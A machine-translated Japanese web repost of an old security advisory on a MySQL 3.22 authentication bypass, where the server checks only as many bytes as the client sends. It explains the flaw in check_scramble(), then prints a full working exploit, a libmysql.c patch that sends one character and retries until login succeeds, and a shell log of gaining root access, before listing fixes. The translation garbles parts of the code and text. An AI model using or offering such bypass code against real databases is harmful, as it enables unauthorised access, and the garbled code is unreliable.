ホームページ > php教程 > php手册 > ◆ Mysql の下位バージョンにおけるリモート アクセスの脆弱性

◆ Mysql の下位バージョンにおけるリモート アクセスの脆弱性

WBOY
リリース: 2016-06-21 09:09:07
オリジナル
958 人が閲覧しました

mysql|訪問

◆ MySQL リモートアクセスの脆弱性


1. 概要

MySQL は一般的に使用されている小規模データベース システムであり、国内の多くのサイトが Web データベースとして使用しています。
MySQL のパスワード検証メカニズムにはセキュリティ上の脆弱性があります。これにより、ターゲット マシン上でデータベース アクセス
を持つマシンから、あらゆるユーザーがデータベースに接続できるようになります。攻撃者はアカウントのパスワードを知る必要はなく、使用可能なアカウント名だけを知る必要があります。
Mysql 3.22.32 より前のすべてのバージョンには問題がある可能性があります。

2. 詳細

MySQL のパスワード認証メカニズムは次のとおりです: クライアントが接続リクエストを送信すると、サーバーはまずランダムな文字列 (A) を生成し、この文字列をクライアントに送信します。ユーザーが入力したパスワードによって生成されたハッシュ値 (B) を使用して、新しい文字列 (C) を生成します。 そして、この新しい文字列をサーバーに返します。サーバーは、データベースに保存されている元のランダム文字列 (A) とパスワード ハッシュ値 (B') から文字列 (C') を生成し、2 つの文字列 (C と C') の内容が一致するかどうかを比較します。一貫性があり、一貫性がある場合はログインが許可され、そうでない場合は
ログインが許可されません。

ただし、2 つの文字列 C と C' の内容を比較する場合、比較される文字列の長さは考慮されないため、
問題が発生します。 sql/password.c から、問題のあるコード部分を確認できます:

my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
...
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* パスワードが間違っています */
}
return 0;
}
......

ここでのスクランブルは、クライアントによって提供された文字列 C (*to++ ^ extra)) は、サーバーによって生成された文字列
C' (内の文字) です。比較の数は、クライアントによって提供された文字列の長さに依存することがわかります。文字列C。問題はここにあります。サーバーは最初に 2 つの文字列の長さが等しいかどうかを判断する必要がありますが、そうではありません。そのため、クライアントから提供された文字列が 1 文字しかない場合、check_scramble() は C と
番目の文字のみを比較します。 C'のバイト。


C'の内容はランダムに生成されるため、通常、初回ログイン時と2回目ログイン時ではC'の最初の文字が異なります。
例:
@SQOGRFA 1 回目
VV]KPIU_ 2 回目
M[PPRYX^ 3 回目

しかし、分析によると、C' の各文字の可能性は 32 個しかありません。つまり、
ABCDEFGHIGKLMNOPQRSTUVWXYZ_] []@^

理論的には、接続するたびに同じ文字 (「A」など) をパスワードとして送信すると、32 回の接続
のうち 1 回が成功することになります。もちろん、これは確率統計に基づいているだけです。実際には、試行回数は 1 回から 100 回を超えるまでの範囲になります。

3. テストプログラム

上記の分析によると、毎回サーバーに送信する必要があるのは 1 つのキャラクターだけであり、エラーメッセージが返された場合は、成功するまでそのキャラクターを再送信します。簡単にするために、mysql クライアント プログラムを変更できます。client/libmysql.c では、mysql_real_connect() 関数を使用してサーバーとの接続を確立します。

......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

......
DBUG_PRINT("info",("user: %s",buff+5));
/* ここの scramble() 関数は検証用のパスワード文字を生成します。 C をコピーして、stretch(buff+5)+1
に送信したいのは 1 文字だけなので、これらの 2 行をコメントアウトして、単語?br> を過去に直接コピーします。 ? /
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9);

if (db && (mysql) - >server_capabilities & CLIENT_CONNECT_WITH_DB))
{
....
} ?br> ?br>
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql) ,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

...
DBUG_PRINT("info",( "ユーザー: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9 ) );
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;8<-----8<-----8<-----8<---- ここをカット ---8<-----8<-----8<-- ---8<-----8<----
--- mysql-3.22.27/client/libmysql.c 水曜日 10 月 6 日 00:37:25 1999
+++ mysql-3.22.27_new/ client/libmysql.c 火曜日 2 月 13 日 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;

+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)

#定義されている場合 (MSDOS) ||定義済み(__WIN32__)
@@ -985,13 +987,13 @@
}


-/*
+/*
** mysql_real_connect を呼び出す前に、mysql 引数は mysql_init()
** で初期化する必要があることに注意してください!
*/

MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd , const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT( "info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* 有効な passwd を作成するステップはスキップします。:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ? my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("%d 回試行中",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* パスワードとして 1 文字を送るだけです */
+ end ++;
+ ?end = ' ';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1) ,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- エラーに移動;
+ NULL を返す; /* ログインが失敗した場合は、NULL を返します */
if (client_flag & CLIENT_COMPRESS) /* 圧縮を使用します */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}

+/*
+** 偽の mysql_real_connect() 関数を 1 つ作成します。これは正しいものを推測するために "総当たり"
+** を行います。成功するまでパスワード! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf ("nooOH、入ってきました! ;-)nn");
+ return res;
+
+}

static my_bool mysql_reconnect(MYSQL *mysql)
{

>8----->8 ----->8----->8------ ここでカット --->8----->8----->8-----> ;8----->8----

[warning3@warning3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warning3 warning3]$ patch -p0 パッチファイル `mysql- 3.22.27/client/libmysql.c'
[warning3@warning3 warning3]$ cd mysql-3.22.27
[warning3@warning3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warning3 client]$ ./mysql -uroot -pblahblah
1回試行
2回試行
3回試行
4回試行
5回試行
6回試行

おお、入ってきた! ;-)

MySQL モニターへようこそ。コマンドは;で終わります。または g.
サーバー バージョン: 3.22.27 に対して MySQL 接続 ID は 539 です

ヘルプについては「help」と入力してください。

mysql>

四。 解决办法

1. 升级到達最新版:


2. 外部接続に対してIp制限?br>

感谢:

Robert van der Meulen 他がこの漏洩を公開しました。:)
tb 他帮私がこのエクスプロイトを完了しました




関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート